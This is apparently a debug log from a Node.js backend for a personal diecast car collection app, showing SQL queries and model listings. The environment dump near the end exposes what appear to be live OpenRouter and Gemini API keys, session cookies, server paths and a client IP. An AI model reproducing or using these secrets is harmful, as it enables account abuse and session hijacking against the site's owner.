      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-03T13:09:07.096Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-03T13:09:07.097Z server-connect:app Executing action step identify
2026-02-03T13:09:07.097Z server-connect:app options: { provider: 'security' }
2026-02-03T13:09:07.097Z server-connect:output identity: 1
2026-02-03T13:09:07.097Z server-connect:app Executing action step restrict
2026-02-03T13:09:07.097Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:09:07.098Z server-connect:output restrict: undefined
2026-02-03T13:09:07.098Z server-connect:app Executing action step condition
2026-02-03T13:09:07.098Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-03T13:09:07.098Z server-connect:app Executing action step update
2026-02-03T13:09:07.098Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-03T13:09:07.099Z server-connect:output update: { affected: 1 }
2026-02-03T13:09:07.099Z server-connect:app Executing action step upload
2026-02-03T13:09:07.099Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-03T13:09:07.099Z server-connect:output upload_image: []
2026-02-03T13:09:07.100Z server-connect:app Executing action step repeat
2026-02-03T13:09:07.100Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-03T13:09:07.100Z server-connect:output repeat_images: []
2026-02-03T13:09:07.100Z server-connect:output condition: undefined
2026-02-03T13:09:07.322Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-03T13:09:07.364Z server-connect:app Executing action step identify
2026-02-03T13:09:07.364Z server-connect:app options: { provider: 'security' }
2026-02-03T13:09:07.364Z server-connect:output identity: 1
2026-02-03T13:09:07.364Z server-connect:app Executing action step restrict
2026-02-03T13:09:07.364Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:09:07.365Z server-connect:output restrict: undefined
2026-02-03T13:09:07.365Z server-connect:app Executing action step paged
2026-02-03T13:09:07.365Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-03T13:09:07.369Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 119,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 100 },
    current: 1,
    total: 5
  },
  data: [
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500- Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-03T13:15:26.777Z server-connect:router Serving templateView /diecast-reports
2026-02-03T13:15:26.778Z server-connect:app Executing action step identify
2026-02-03T13:15:26.778Z server-connect:app options: { provider: 'security' }
2026-02-03T13:15:26.778Z server-connect:output identity: 1
2026-02-03T13:15:26.778Z server-connect:app Executing action step restrict
2026-02-03T13:15:26.778Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-03T13:15:26.779Z server-connect:output restrict: undefined
2026-02-03T13:15:26.779Z server-connect:router Render template diecast-reports
2026-02-03T13:15:26.779Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-reports',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-reports',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-03T13:15:27.063Z server-connect:router Serving serverConnect /api/reports/diecast/by-series
2026-02-03T13:15:27.064Z server-connect:app Executing action step identify
2026-02-03T13:15:27.064Z server-connect:app options: { provider: 'security' }
2026-02-03T13:15:27.064Z server-connect:output identity: 1
2026-02-03T13:15:27.064Z server-connect:app Executing action step restrict
2026-02-03T13:15:27.064Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:15:27.064Z server-connect:output restrict: undefined
2026-02-03T13:15:27.065Z server-connect:app Executing action step custom
2026-02-03T13:15:27.065Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.series,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.series\n' +
      'WHERE dc.series <> 75\n' +
      'GROUP BY dc.series, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-02-03T13:15:27.068Z server-connect:output list: [
  { series: 106, name: 'HW Peak Pursuit', total: 6 },
  {
    series: 174,
    name: 'Majorette Limited Edition 9 Gift Set',
    total: 5
  },
